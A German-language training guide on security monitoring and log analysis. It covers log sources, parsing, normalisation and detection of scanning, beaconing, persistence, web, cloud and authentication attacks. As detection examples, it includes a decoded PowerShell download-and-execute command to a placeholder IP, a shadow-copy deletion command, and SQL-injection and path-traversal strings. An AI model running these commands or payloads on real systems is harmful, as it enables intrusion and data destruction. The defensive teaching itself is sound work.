Sicherheitsüberwachung und Protokollanalyse

Ein Ereignis ist ein beobachtbarer Vorgang, etwa eine Anmeldung oder der Start eines Prozesses. Ein Protokoll zeichnet Ereignisse auf. Eine Alarmmeldung besagt, dass überwachte Ereignisse einer Erkennungslogik entsprachen. Ein Sicherheitsvorfall gefährdet Informationen oder Systeme tatsächlich oder unmittelbar oder verstößt gegen Gesetze, Sicherheitsrichtlinien, Verfahren oder Richtlinien zur zulässigen Nutzung oder droht unmittelbar dagegen zu verstoßen. Ein Analyst prüft die Belege, bevor er entscheidet, wie eine Alarmmeldung einzuordnen ist.

Wähle eine Quelle nach ihrer Sicht aus

Firewalls zeichnen erlaubte und abgelehnte Verbindungen auf. Proxies und Secure Web Gateways ergänzen URLs, User-Agents und Übertragungsgrößen. VPN-Gateways zeigen Fernzugriffssitzungen; IDS-/IPS-Werkzeuge melden Datenverkehr, der ihren Signaturen entspricht. Flow-Datensätze, darunter NetFlow und IPFIX, fassen Kommunikationsabläufe anhand von Adressen, Ports, Protokoll, Zeit, Paketen und Bytes zusammen. Sie bleiben bei verschlüsseltem Datenverkehr nützlich, weil sie dessen Merkmale beschreiben, enthalten aber keine Nutzdaten.

Hostprotokolle zeigen Aktivitäten hinter diesen Verbindungen. Windows-Sicherheitsereignisse umfassen Authentifizierung, Kontoänderungen und bei aktivierter Überwachung Prozesserstellungen. System- und Anwendungsprotokolle zeigen Dienste und Software. Sysmon und EDR ergänzen Details zu Prozessen, Dateien, Registrierung und Netzwerk. Die PowerShell-Skriptblockprotokollierung zeichnet Skriptinhalte in Ereignis 4104 auf. Linux-Authentifizierungsmeldungen erscheinen häufig in /var/log/auth.log auf Systemen der Debian-Familie oder in /var/log/secure auf Systemen der Red-Hat-Familie. Das systemd-Journal wird mit journalctl gelesen; auditd zeichnet die Aktivitäten auf, die seine Auditregeln auswählen.

Webzugriffs- und Fehlerprotokolle, Datenbank- und Geschäftsanwendungs-Auditprotokolle sowie E-Mail-Gateways geben Aufschluss über Anfragen und Datennutzung. Befunde von Antivirenprogrammen, DLP, WAF und Schwachstellenscannern ergänzen eine weitere Sicht. Auch der Befund eines Sicherheitswerkzeugs ist ein Ereignis, das zusammen mit der zugrunde liegenden Aktivität interpretiert werden muss.

Verfolge eine Adresse über die Zeit

Ein Proxy zeichnet um 14:02 Uhr UTC einen Download durch 10.20.30.45 auf. Der DHCP-Lease weist diese Adresse an diesem Tag von 13:30 bis 21:30 Uhr LAPTOP-0193 zu. Durchsuche die Prozessereignisse dieses Laptops um den Zeitpunkt des Downloads. Heute könnte die Adresse einem anderen Gerät zugewiesen sein; ein Abgleich der Adresse ohne Lease-Zeitraum kann die Untersuchung zum falschen Host führen.

Prüfe die Erfassung, bevor du dich auf sie verlässt

Prüfe anhand eines tatsächlichen Beispiels, ob die für deine Frage benötigten Felder vorhanden sind. Damit Windows-Ereignis 4688 den Befehlstext enthält, muss die Richtlinie zur Befehlszeilenerfassung aktiviert sein. Sysmon-Netzwerkereignis 3 ist standardmäßig deaktiviert. Ein SIEM empfängt nur die Daten, die an es gesendet werden. Priorisiere nützliche Details bei kritischen Assets und privilegierten Identitäten und prüfe auch erlaubte Verbindungen: Über eine erlaubte Verbindung kann ein Angriff laufen.

Parsing extrahiert benannte Felder aus einem Roheintrag. Eine Suche nach einem Textfragment kann eine Zeile finden; mit geparsten Feldern kannst du Fehlversuche nach Benutzer zählen, Adressen vergleichen und nach Ereigniszeitpunkt sortieren. Bewahre den Roheintrag auf, damit du die Extraktion prüfen kannst.

Lies zuerst die Struktur

Syslog nach RFC 5424 beginnt mit Priorität, Version, Zeitstempel, Host, Anwendung, Prozess-ID, Nachrichten-ID, strukturierten Daten und Meldungstext. Ältere Zeitstempel nach RFC 3164 wie Mar 14 10:15:02 enthalten weder Jahr noch Zeitzone; diese müssen aus dem Kontext der Quelle ermittelt werden.

Die Syslog-Priorität kombiniert Facility und Schweregrad:

Für <38> ergibt die Division durch 8 Facility 4 und Rest 6, Informational. Für <34> hat dieselbe Facility den Schweregrad 2, Critical. Die Schweregradzahlen reichen von 0 Emergency über 1 Alert, 2 Critical, 3 Error, 4 Warning, 5 Notice und 6 Informational bis 7 Debug. Eine niedrige Zahl steht für einen höheren Schweregrad. Dies ist die Bewertung der sendenden Anwendung: Ein SSH-Fehlversuch mit Informational kann dennoch zu einem Angriff gehören.

Windows-EVTX-Dateien können als XML oder aufbereiteter Text angezeigt werden. Der System-Abschnitt nennt Anbieter, Ereignis-ID, Erstellungszeit in UTC, Computer und Kanal. EventData enthält ereignisspezifische Felder. Prüfe bei 4625 die Felder TargetUserName, LogonType, Status, SubStatus, IpAddress, WorkstationName und ProcessName. Typ 10 bedeutet RemoteInteractive; Typ 2 bedeutet eine interaktive lokale Anmeldung. Dieselbe Ereignis-ID kann ganz unterschiedliche Zugriffswege beschreiben.

Extrahiere Felder nach ihrer Bedeutung

JSON-Parser suchen Schlüssel nach Namen, auch verschachtelte Pfade wie responseElements.ConsoleLogin. Sie müssen fehlende und Null-Felder sowie wechselnde Schlüsselreihenfolgen verarbeiten können. Schlüssel-Wert-Datensätze kennzeichnen Werte direkt, wie in src=203.0.113.45 dport=3389 action=deny. CEF stellt seinen Schlüssel-Wert-Erweiterungen einen durch senkrechte Striche getrennten Header mit Hersteller, Produkt, Signatur, Name und Schweregrad voran; verwende einen Parser, der die Maskierung versteht.

Lies in einem kombinierten Webzugriffsprotokoll Clientadresse, Identität, authentifizierten Benutzer, Zeit und Versatz, Anfrage, Status, Antwortgröße in Byte, Referrer und User-Agent. Ein Bindestrich bedeutet, dass ein Wert fehlt. User-Agents werden von Clients angegeben: Ein Scannername ist daher ein nützlicher Beleg, aber der Name eines gewöhnlichen Browsers kann nachgeahmt werden.

Extrahiere zwei Formen von SSH-Meldungen

Dieser Regex verarbeitet sowohl einen normalen Benutzernamen als auch die Formulierung „invalid user“:

Failed password for (?:invalid user )?(\S+) from (\d{1,3}(?:\.\d{1,3}){3}) port (\d+)

In Failed password for invalid user admin from 203.0.113.45 port 52114 sind die erfassten Werte admin, 203.0.113.45 und 52114. Die optionale nicht erfassende Gruppe verarbeitet „invalid user “, ohne es zum Benutzernamen zu machen. \S+ erfasst Text ohne Leerraumzeichen; \d+ erfasst Ziffern.

Das Muster extrahiert einen Wert in der Form einer Adresse; es akzeptiert auch Oktette wie 999, daher ist die Adressvalidierung ein separater Schritt. Vermeide ein gieriges .*, wo es ein Feldtrennzeichen verschlucken kann. Füge mehrzeilige Datensätze vor dem Parsing zusammen und überwache Parsing-Fehler nach Softwareupdates: Ein geändertes Layout kann Erkennungsfelder unbemerkt leer lassen.

Die Erfassung muss auch bei gewöhnlichen Ausfällen und absichtlichen Eingriffen weiter funktionieren. Eine genaue Regel ist wenig wert, wenn ihre Quelle nicht mehr sendet oder ihre Zeitstempel Ereignisse in die falsche Reihenfolge bringen.

Wähle und überwache den Übertragungsweg

Ein Agent liest lokale Protokolle und kann sie zwischenspeichern, filtern, verschlüsseln und weiterleiten. Agentenlose Wege umfassen Syslog, Windows Event Forwarding, den regelmäßigen Abruf über Cloud-APIs und Exporte in Speicher oder Datenströme. Jeder Weg muss auf seinen Status überwacht werden. UDP-Syslog auf Port 514 ist unverschlüsselt und bestätigt die Zustellung nicht. TCP ergänzt eine zuverlässige Zustellung; Syslog über TLS auf Port 6514 ergänzt Verschlüsselung und Serverauthentifizierung. Verwende über nicht vertrauenswürdige Netzwerke einen zuverlässigen verschlüsselten Transport und speichere Ereignisse bei Kollektorausfällen zwischen.

Synchronisiere die Uhren der Quellen mit einem zuverlässigen Zeitdienst, üblicherweise NTP auf UDP 123. Speichere die Zeit in UTC und behalte den ursprünglichen Versatz bei. Die Firewall-Zeit 2026-03-14 10:15:00 +02:00 entspricht 2026-03-14T08:15:00Z. Eine um sieben Minuten vorgehende Hostuhr lässt ihre Ereignisse zu spät erscheinen und kann eine Zeitleiste umkehren. Eine große Uhrendrift verhindert auch zeitkritische Authentifizierung; Windows Kerberos erlaubt standardmäßig fünf Minuten.

Der Ereigniszeitpunkt hält fest, wann eine Aktivität geschah. Der Erfassungszeitpunkt hält fest, wann die Plattform sie empfing. Zwischengespeicherte Ereignisse und Cloud-Ereignisse können verspätet eintreffen. Korreliere nach Ereigniszeitpunkt und gib geplanten Suchen ausreichend Verzögerung oder Rückblick, um verspätete Eingänge einzubeziehen.

Schütze die Aufzeichnungen und bewahre sie auf

Leite Protokolle schnell von Hosts weg weiter, beschränke Lese- und Löschberechtigungen und trenne die Kontrolle über Protokolle von der routinemäßigen Administration. Unveränderlicher Speicher und kryptografische Prüfsummen helfen, Änderungen zu erkennen oder zu verhindern. Die CloudTrail-Integritätsprüfung verwendet SHA-256-Prüfsummendateien. Überwache Windows 1102 auf das Löschen von Auditprotokollen und 4719 auf Änderungen der Überwachungsrichtlinie sowie Cloud-Aktionen wie StopLogging und DeleteTrail. Beschränke den Zugriff, weil Protokolle personenbezogene und sensible Daten enthalten können.

Die Aufbewahrungsdauer richtet sich nach dem Untersuchungsbedarf und geltenden gesetzlichen, vertraglichen oder aufsichtsrechtlichen Pflichten. Beispielsweise verlangt PCI DSS v4.0 in Anforderung 10.5.1 eine Auditprotokollhistorie von mindestens 12 Monaten, wobei die jüngsten drei Monate sofort verfügbar sein müssen. Aktueller durchsuchbarer Speicher wird oft als Hot-Speicher bezeichnet; Archive kosten weniger, benötigen aber mehr Zeit für Suche oder Wiederherstellung. Voreinstellungen allein können zu kurz sein: Entra bewahrt Audit- und Anmeldeprotokolle bei Free 7 Tage und bei P1/P2 30 Tage auf, während die CloudTrail-Ereignishistorie Verwaltungsereignisse für 90 Tage bietet. Ein Export ermöglicht längere Aufbewahrungszeiten.

Schätze das Volumen und achte auf ausbleibende Daten

Für 2.000 Endgeräte, die täglich jeweils 5.000 Ereignisse zu je 500 Byte erzeugen, beträgt das tägliche Rohvolumen 5.000.000.000 Byte oder 5 GB. Neunzig Tage benötigen 450 GB; ein Jahr benötigt 1,825 TB vor Komprimierung, Indexierung und sonstigem zusätzlichem Speicherbedarf.

Überwache das erwartete Volumen und Heartbeats kritischer Quellen, Kollektorfehler, Rückstaus in Warteschlangen und Parsing-Fehler. „30 Minuten lang keine DC01-Ereignisse“ ist eine Statusalarmmeldung, auch wenn keine Angriffsalarmmeldung ausgelöst wurde. Ein Protokollierungsstandard sollte für jeden Systemtyp Auditkategorien, Befehlszeilenerfassung, Skriptprotokollierung und den geeigneten Detailgrad festlegen. Eine reine Fehlererfassung übersieht Sicherheitsaktivitäten; routinemäßige Debug-Erfassung kann den Speicher überlasten.

Ein Windows-Ereignis, eine Linux-Meldung und ein Cloud-Datensatz können dieselbe Art von Aktion mit unterschiedlichen Namen beschreiben. Normalisierung gibt diesen Feldern gemeinsame Namen, Typen und Wertekonventionen. Datenanreicherung ergänzt Informationen über die beteiligten Personen, Systeme und Ziele.

Normalisiere Bedeutungen, nicht nur Namen

Bei fehlgeschlagenen Anmeldungen von jdoe aus 203.0.113.45 können alle drei Quellen zu event.category=authentication, event.outcome=failure, user.name=jdoe und source.ip=203.0.113.45 werden. Eine nach Quelle gruppierte Authentifizierungsregel kann dann alle drei durchsuchen.

Zu den verbreiteten Schemata gehören ECS, OCSF, CIM und ASIM. Die Feldnamen im Beispiel folgen dem ECS-Stil. Ein Schema definiert auch Datentypen und zulässige Werte. Speichere Adressen als Adresswerte, damit Subnetzsuchen funktionieren. Wandle Zeiten in UTC nach ISO 8601 um. Ordne unterschiedliche Darstellungen von Erfolg oder Misserfolg einem gemeinsamen Ergebnis zu und beachte dabei die tatsächliche Bedeutung der Quellaktion. Das Ergebnis „allowed“ einer Firewall beschreibt eine Verbindungsentscheidung, keine erfolgreiche Benutzerauthentifizierung.

Ordne Identitäten wie EXAMPLE\jdoe, jdoe@example.com und JDOE demselben Konto zu, wenn sie tatsächlich dieses Konto bezeichnen. Eine Vereinheitlichung der Groß- und Kleinschreibung ist angemessen, wenn die Quelle diese nicht unterscheidet. Bewahre Unterschiede, wo die Groß- und Kleinschreibung relevant ist, und führe nicht zwei Personen zusammen, nur weil ihre kurzen Benutzernamen übereinstimmen.

Ergänze Kontext, der die Frage verändert

Nützliche Datenanreicherung umfasst Asset-Eigentümer, Betriebssystem, geschäftliche Rolle, Kritikalität und Erreichbarkeit über das Internet; Abteilung, Berechtigungen, Dienstkontostatus und Beschäftigungsstatus des Benutzers; DHCP-Historie; sowie Netzwerkbetreiber, ungefähren Standort und Reputation öffentlicher Adressen.

Eine Alarmmeldung berichtet wiederholte Fehlversuche für svc-backup von 10.20.30.45. Der Asset-Kontext weist auf einen Laptop aus dem Marketing hin. Der Identitätskontext zeigt, dass sich dieses Dienstkonto normalerweise nur vom Backupserver 10.0.8.12 aus anmeldet. Diese unerwartete Beziehung verdient Aufmerksamkeit, noch bevor die Zahl der Fehlversuche groß wird.

Beachte, wann der Kontext hinzugefügt wurde. Die Anreicherung bei der Erfassung bewahrt den Kontext, der bei Eingang des Ereignisses verfügbar war. Die Anreicherung bei der Suche zeigt normalerweise den aktuellen Stand. Ein aktueller Asset-Eigentümer oder eine aktuelle Adresszuweisung kann ältere Ereignisse falsch darstellen. Verwende daher historische Aufzeichnungen, wenn die Frage frühere Eigentumsverhältnisse betrifft.

Prüfe Zuordnungen und Reduzierungen

VPNs, Mobilfunkanbieter, Proxies und Cloud-Hosting können die geografische Zuordnung verfälschen. Die Reputation ändert sich, wenn Infrastruktur den Eigentümer wechselt. Nutze beides als unterstützende Belege und prüfe, wie alt die Angaben sind. Validiere Feldzuordnungen anhand von Rohbeispielen: Wird ein Ziel source.ip zugeordnet, kann eine Regel das falsche System beschuldigen.

Deduplizierung entfernt wiederholte Zustellungen eines Ereignisses. Aggregation fasst mehrere Ereignisse zusammen und speichert beispielsweise eine Anzahl für 1.000 Ablehnungen. Aggregation spart Platz, verwirft aber Einzelheiten der einzelnen Ereignisse. Bewahre die für Erkennungen und Untersuchungen benötigten Felder und Rohereignisse auf; werden sie an der Quelle herausgefiltert, entsteht eine Lücke, die keine spätere Korrelation schließen kann.

Ein Kompromittierungsindikator ist ein beobachtbares Artefakt, das auf eine Kompromittierung hindeutet. Ein atomarer Indikator ist eine einzelne Adresse, Domäne, URL oder ein Hashwert. Ein Verhaltensindikator ist ein Muster, etwa eine Arbeitsstation, die viele andere über Port 445 kontaktiert. Atomare Werte lassen sich schnell abgleichen und leicht ersetzen; Verhalten beschreibt, was der Akteur tut.

Lies die Merkmale von Verbindungen

Ein vertikaler Portscan prüft viele Ports auf einem Host. Ein horizontaler Portscan prüft einen Port auf vielen Hosts. Viele abgelehnte oder zurückgesetzte Verbindungen mit sehr wenigen Bytes passen zu einem Scan, aber autorisierte Schwachstellenscanner tun dasselbe. Vergleiche Quelle, Umfang und Zeitplan. Internet-Erkundungen eines Netzwerkperimeters im Hintergrund haben einen anderen Kontext als Scans durch eine interne Arbeitsstation.

Unerwartete Beziehungen sind ebenso wichtig wie Ports. Wenn Arbeitsstationen sich plötzlich gegenseitig über SMB 445, RDP 3389 oder WinRM 5985/5986 kontaktieren, kann das auf laterale Bewegung hindeuten. Verwaltungsserver und Jump-Hosts können dies rechtmäßig tun. Ein Datenbankserver, der SSH-Verbindungen aufbaut, eine über das Internet erreichbare Arbeitsstation, die RDP annimmt, oder Datenverkehr, dessen Protokoll nicht zum Port passt, verdient eine nähere Prüfung. Eine Portnummer deutet auf einen Dienst hin; sie belegt nicht das tatsächlich verwendete Protokoll.

Neue MAC-Adressen in DHCP-, Switch-, NAC- oder WLAN-Controller-Protokollen können nicht autorisierte Geräte aufdecken. Vergleiche sie mit Inventar und Einbindungsdokumentation: Ein neuer Drucker und ein unbekanntes Gerät in einem Serversegment bergen unterschiedliche Risiken.

Untersuche Wiederholungen und Namen

Beaconing ist wiederholter Kontakt mit einem Command-and-Control-Server. Die Zeitpunkte 0, 60, 121, 180, 241, 299, 360, 421, 480 und 540 Sekunden ergeben Abstände von durchschnittlich 60 Sekunden mit einer Streuung von etwa 1,1 Sekunden. Kleine Anfragen, ein wiederkehrender User-Agent und durchgehende Aktivität über Nacht verstärken das Muster. Prüfe den auslösenden Prozess und das Ziel, denn auch Updater und Telemetriesysteme melden sich regelmäßig. Angreifer können zufällige Verzögerungen, also Jitter, hinzufügen.

DNS bietet eine weitere Sicht. Ein Domänengenerierungsalgorithmus kann viele zufällig wirkende Namen und viele NXDOMAIN-Antworten erzeugen. DNS-Tunneling kann zu langen Namensbestandteilen, zahlreichen unterschiedlichen Subdomänen unter einer Domäne und einem ungewöhnlichen Volumen an TXT-Abfragen führen. Ein DNS-Namensbestandteil ist auf 63 Zeichen begrenzt. Die Shannon-Entropie misst die Zufälligkeit von Zeichen: example erreicht etwa 2,52 Bit pro Zeichen, x9f3kq7z2b8wp1md dagegen 4,0. Hohe Entropie kommt auch bei legitimen Cloud-Namen vor; kombiniere sie mit Abfragevolumen, Zielhistorie und Domänenalter.

Verfolge Volumen und Richtung

Mögliche Datenexfiltration umfasst ungewöhnlich große ausgehende Übertragungen an neue Ziele, ungewöhnliche Zeiten oder ein hohes Verhältnis von Upload zu Download. Ein Server, der 2,3 GB hochlädt und dabei 40 MB empfängt, erreicht bei dezimalen Einheiten ein Verhältnis von 57,5 zu 1. Prüfe bekannte Datensicherungen und Synchronisierungsaufträge, bevor du über die Ursache entscheidest. HTTPS verbirgt den Inhalt der Nutzdaten, während nützliche Metadaten zu Volumen und Zeit weiterhin sichtbar sind.

NAT kann viele Geräte hinter einer öffentlichen Adresse verbergen. Ermittle die interne Quelle anhand von NAT-, Proxy- oder internen Firewall-Aufzeichnungen zum relevanten Zeitpunkt. Das Land eines Ziels allein liefert zu wenig Kontext, um zu entscheiden, ob eine Verbindung bösartig ist.

Hosttelemetrie verknüpft Netzwerkaktivität mit dem verantwortlichen Programm und Benutzer. Besonders nützlich ist die Prozesserstellung: Windows 4688 mit Befehlszeilenerfassung oder Sysmon 1 zeigt den neuen Prozess, die Befehlszeile, den Elternprozess und den Benutzer. Sysmon liefert außerdem Hashwerte und Prozesskennungen, die beim Verknüpfen von Ereignissen helfen.

Lies Elternprozess und Argumente

Legitime signierte Werkzeuge können als Living-off-the-Land-Binaries missbraucht werden. certutil.exe kann Dateien herunterladen, mshta.exe entfernte Skriptinhalte ausführen und rundll32.exe eine DLL aus einem beschreibbaren Ordner laden. vssadmin delete shadows /all /quiet entfernt Schattenkopien und kann einem Ransomware-Angriff vorausgehen. Beurteile Argumente, Elternprozess, Benutzer, Pfad, Signaturgeber und umgebende Aktionen gemeinsam. Ein vertrauter Dateiname allein sagt wenig über die Absicht aus.

PowerShells -EncodedCommand enthält Base64-kodierten UTF-16LE-Text. Die Dekodierung des durchgearbeiteten Befehls ergibt iwr http://198.51.100.23/a.ps1|iex: ein Skript herunterladen und im Arbeitsspeicher ausführen. Kodierung und versteckte Fenster kommen auch bei der Administration vor. Lies den dekodierten Inhalt und, sofern verfügbar, das Skriptblockereignis 4104.

Suche nach einem Weg zurück ins System

Persistenz ermöglicht den Zugriff nach einem Neustart oder einer Abmeldung. Achte auf neue Dienste (7045 in System oder 4697 in Security), geplante Aufgaben (4698), Run-Werte in der Registrierung (Sysmon 13), Autostartdateien (Sysmon 11) und neue lokale Konten (4720). Prüfe unter Linux Cron-Einträge, systemd-Units und neue Schlüssel in ~/.ssh/authorized_keys. Eine Aufgabe, die auf C:\Users\Public\upd.exe verweist, benötigt eine andere Erklärung als eine dokumentierte Softwarebereitstellung.

Das Löschen von Protokollen (1102), Änderungen an der Überwachungsrichtlinie (4719), ein gestoppter Sysmon-Dienst (Sysmon 4) oder das Entfernen eines EDR-Agenten können auf eine Manipulation der Sicherheitsüberwachung hinweisen. Prüfe Wartungsunterlagen zeitnah. Weitere Hinweise sind nicht freigegebene Fernzugriffswerkzeuge, ungewöhnlicher Zugriff auf den Speicher von lsass.exe (Sysmon 10) und schnelle Dateiänderungen mit Erpresserschreiben. Eine hohe CPU- oder GPU-Auslastung kann zu Kryptomining passen, vergleiche aber Arbeitslast und geplante Aufträge; eine kurze Spitze ist ein schwacher Beleg.

Erstelle die Ausführungskette

Um 09:12:04 Uhr UTC startet Outlook Word mit Invoice_8841.docm. Um 09:12:31 Uhr startet Word kodiertes PowerShell. Um 09:12:33 Uhr verbindet sich dieser PowerShell-Prozess mit 198.51.100.23:80; um 09:12:40 Uhr wird upd.exe geschrieben; um 09:13:02 Uhr startet eine geplante Aufgabe die Datei bei der Anmeldung. Verknüpfe die Prozess- und Dateiaufzeichnungen, nicht nur zeitlich nahe Zeitstempel. Die Kette zeigt Zustellung, Ausführung, Download und Persistenz und stützt eine Eskalation. Fehlende Hosttelemetrie muss als sichtbare Lücke in der Dokumentation stehen bleiben.

Web- und Anwendungsprotokolle zeigen Aktivitäten, die in gewöhnlichen HTTPS-Verbindungen verborgen sind. Zugriffsprotokolle beschreiben Anfragen, Antwortcodes, Größen und Angaben des Clients. Anwendungs- und Datenbank-Auditprotokolle ergänzen, wer auf Daten zugegriffen, Berechtigungen geändert, Abfragen ausgeführt oder Datensätze exportiert hat.

Dekodiere die Anfrage

Prozentkodierung stellt Bytes durch % gefolgt von zwei Hexadezimalziffern dar. Das Fragment id=1%27%20OR%201%3D1--%20 wird zu id=1' OR 1=1-- und deutet auf SQL-Injection hin. Der Pfad ..%2F..%2F..%2Fetc%2Fpasswd wird zu ../../../etc/passwd und deutet auf Directory Traversal hin. Weitere Hinweise sind UNION SELECT, Skript-Tags oder Shell-Trennzeichen gefolgt von Befehlen.

Dekodiere die Schichten der Reihe nach. %252e%252e%252f wird zu %2e%2e%2f und anschließend zu ../. Bewahre sowohl die rohe Anfrage als auch die dekodierte Interpretation auf; wird das Original ersetzt, geht der Beleg dafür verloren, wie die Eingabe gesendet wurde.

Lies die Abfolge rund um die Antwort

Codes beschreiben die HTTP-Verarbeitung, nicht das gesamte Sicherheitsergebnis. Manche Anwendungen verwenden 200 für Fehlerseiten, und eine WAF kann eine Blockierungsseite mit 200 zurückgeben. Ein Scanner-User-Agent wird vom Client gesteuert. Weder ein vertrauter User-Agent noch eine einzelne blockierte Anfrage klärt die Untersuchung abschließend.

In der durchgearbeiteten Abfolge stellt ein Client in drei Minuten 412 Anfragen, von denen 398 404 zurückgeben. Ein anschließender Injection-Test liefert 500; eine spätere UNION SELECT-Anfrage liefert 200 mit 48.210 Byte gegenüber den üblichen 2.100. Die etwa 23-fache Größensteigerung nach den Tests stützt den Verdacht einer möglichen Datenoffenlegung. Prüfe Datenbankabfragen und Auditereignisse der Anwendung, um festzustellen, was tatsächlich zurückgegeben wurde.

Verbinde Anwendungs- und Hostbelege

Eine Webshell ist ein Skript, mit dem ein Angreifer über Webanfragen Befehle ausführen kann. Ein neues Skript in einem Uploadordner, wiederholte POST-Anfragen von wenigen Clients und Parameter wie cmd= rechtfertigen eine Untersuchung. Ein dazu passender Webserverprozess, der cmd.exe oder /bin/sh startet, liefert einen direkten Hostbeleg für die Ausführung.

Achte auch auf Anwendungsidentitäten: Erfolge nach Fehlversuchen, unerwartete Ursprünge von API-Schlüsseln, Häufungen, die Ratenbegrenzungen erreichen, und ein gewöhnlicher Benutzer, der Tausende Datensätze exportiert, können Kontomissbrauch aufdecken. Diese Muster benötigen aussagekräftige Auditfelder, nicht nur Fehlerprotokolle. Wenn Anfragen und Fehler nach einer Bereitstellung sprunghaft ansteigen, untersuche neben Angriffshypothesen auch die Bereitstellung und die Quellen der Clientanfragen; auch eine fehlerhafte Version oder ein tatsächlicher Anstieg des Datenverkehrs kann Störungen verursachen.

Cloud-Anbieter schützen ihre Infrastruktur; Kunden müssen die Überwachung ihrer Konten, Identitäten und Ressourcen aktivieren, erfassen und auswerten. Konsolenklicks, Skripte, Befehlszeilenwerkzeuge und Infrastrukturvorlagen verwalten Ressourcen in der Regel über APIs. Ihr Auditprotokoll beantwortet, wer eine Ressource erstellt, geändert oder gelöscht hat. Für Aktivitäten innerhalb einer virtuellen Maschine oder Anwendung braucht man weiterhin Protokolle der Workload.

Wähle die richtige Cloud-Ebene

Die CloudTrail-Ereignishistorie bietet 90 Tage aufgezeichnete Verwaltungsereignisse pro Region. Eine längere Historie und breitere Abdeckung benötigen eine gezielte Konfiguration; Datenereignisse sind standardmäßig deaktiviert. Google Admin Activity Logs werden immer geschrieben und können nicht deaktiviert werden; Data Access Logs sind außer für BigQuery standardmäßig deaktiviert. Aktiviere eine zweckmäßige Datenzugriffserfassung für sensible Ressourcen und berücksichtige ihr Volumen.

Lies eine Cloud-Aktion Feld für Feld

In CloudTrail ist eventTime in UTC angegeben; eventSource bezeichnet den Dienst; eventName bezeichnet die API-Aktion. userIdentity bezeichnet den Aufrufer, während requestParameters das angeforderte Ziel und die Einstellungen bezeichnet. Lies auch sourceIPAddress, userAgent, awsRegion, responseElements und gegebenenfalls errorCode oder errorMessage.

Prüfe bei einer Konsolenanmeldung ConsoleLogin von signin.amazonaws.com, den Erfolg oder Misserfolg unter responseElements.ConsoleLogin und additionalEventData.MFAUsed. Unterscheide bei einem neuen Schlüssel den Aufrufer von dem in requestParameters.userName genannten Benutzer. Es können unterschiedliche Identitäten sein.

Erkenne zusammenhängende Cloud-Indikatoren

Mit einem gestohlenen Schlüssel wird möglicherweise zuerst GetCallerIdentity aufgerufen und anschließend mit List, Describe und Get eine Auflistung durchgeführt. Wiederholte AccessDenied-Ergebnisse zeigen das Auskundschaften von Berechtigungen, selbst wenn die Zugriffskontrollen standhalten. Neue Zugangsdaten, unerwartete Rollenübernahmen, Root-Nutzung oder Änderungen, die die Ports 22/3389 für 0.0.0.0/0 öffnen, erfordern Kontextprüfungen. Viele große GPU-Instanzen in einer ungenutzten Region können auf Ressourcenmissbrauch hindeuten.

In der durchgearbeiteten Abfolge wechselt ci-deploy von seiner üblichen Buildserver-Adresse und einem SDK-User-Agent zu einer neuen Adresse und CLI. Es listet Ressourcen auf, erstellt einen Schlüssel für admin-backup und ruft dann StopLogging auf. Zusammen deuten diese Aktionen auf Missbrauch von Zugangsdaten, fortgesetzten Zugriff und den Versuch hin, die Überwachung auszuschalten. Eskaliere und prüfe unabhängige Quellen auf spätere Aktivitäten.

Erfasse Daten aus allen relevanten Regionen und Konten. Kurzlebige Ressourcen können vor der Triage verschwinden; verwende stabile Ressourcen-IDs und Tags und leite Hostprotokolle zentral weiter. Eine gemeinsam genutzte Cloud-Adresse allein kann weder einen Mandanten identifizieren noch belegen, dass eine Aktivität zur üblichen Automatisierung der Organisation gehört.

Ein Identitätsanbieter authentifiziert Benutzer für viele Anwendungen. Sein Anmeldeprotokoll kann Benutzer, App, Adresse, Gerät, Client, Methode, MFA-Ergebnis, Richtlinienergebnis und Fehlergrund zeigen. Entra trennt interaktive und nicht interaktive Anmeldungen sowie Anmeldungen von Dienstprinzipalen und verwalteten Identitäten. Eine Suche, die auf interaktive Benutzer beschränkt ist, übersieht Anwendungs- und Tokenaktivitäten.

Interpretiere die Windows-Authentifizierung

Domänencontroller zeichnen Kerberos-Ticketaktivitäten (4768, 4769, 4771) und die Validierung von NTLM-Zugangsdaten (4776) auf. Der Computer, auf den zugegriffen wird, zeichnet 4624 für einen Erfolg und 4625 für einen Fehler auf. Ereignis 4740 erfasst eine Kontosperrung.

Prüfe bei 4625 sowohl Status als auch SubStatus. 0xC000006A steht für ein falsches Passwort, 0xC0000064 für einen unbekannten Benutzernamen, 0xC0000072 für ein deaktiviertes Konto, 0xC0000234 für ein gesperrtes Konto und 0xC000006F für eine Anmeldung außerhalb der zulässigen Zeiten. Anhand dieser Gründe lässt sich ein Passwortproblem von einem Problem mit einer Richtlinie oder dem Kontostatus unterscheiden.

Gruppiere Ereignisse, um den Angriff aufzudecken

Ein Brute-Force-Angriff unternimmt viele Rateversuche gegen ein Konto. Password Spraying probiert ein oder einige wenige wahrscheinliche Passwörter gegen viele Konten aus und bleibt oft unter den Sperrschwellen pro Konto. Credential Stuffing verwendet durchgesickerte Paare aus Benutzernamen und Passwörtern. Zähle Versuche pro Konto und unterschiedliche Konten pro Quelle und suche dann nach Erfolgen. Angreifer können Versuche auf mehrere Adressen verteilen, sodass keine der beiden Gruppierungen allein eine vollständige Abdeckung bietet.

Beim durchgearbeiteten Password Spraying versucht eine Adresse jeweils einmal, sich mit 46 Benutzernamen anzumelden: 41 Ergebnisse melden ein falsches Passwort und fünf einen unbekannten Benutzer. Eine spätere erfolgreiche Netzwerkanmeldung für m.tanaka von dieser Quelle erhöht die Priorität. Sie deutet nach dem Password Spraying stark auf funktionierende Zugangsdaten hin. Prüfe aber das Authentifizierungspaket und die nachfolgende Aktivität: Typ 3 kann auch gestohlene Hashwerte oder Tickets verwenden.

Prüfe, wie die Sitzung zustande kam

Bei einer unmöglichen Reise werden Entfernung und verstrichene Zeit verglichen. Madrid und Seoul liegen etwa 10.000 km auseinander; in 45 Minuten wären ungefähr 13.300 km/h nötig. Prüfe VPN-Ausgänge, gehostete Desktops, die geografische Zuordnung von Mobilfunkanbietern, Geräte und Sitzungsergebnisse, bevor du über die Ursache entscheidest.

Wiederholt abgelehnte MFA-Push-Anfragen mit anschließender Zustimmung können auf MFA-Ermüdung hindeuten. Eine ungewöhnliche Sitzung, bei der MFA durch ein vorhandenes Token erfüllt wurde, kann auf die erneute Verwendung eines Tokens zurückgehen. Auch ältere Authentifizierungswege ohne MFA und eine neu registrierte MFA-Methode nach einer riskanten Anmeldung verdienen Aufmerksamkeit. Ein abgeschlossener MFA-Schritt allein erklärt diese Wege nicht.

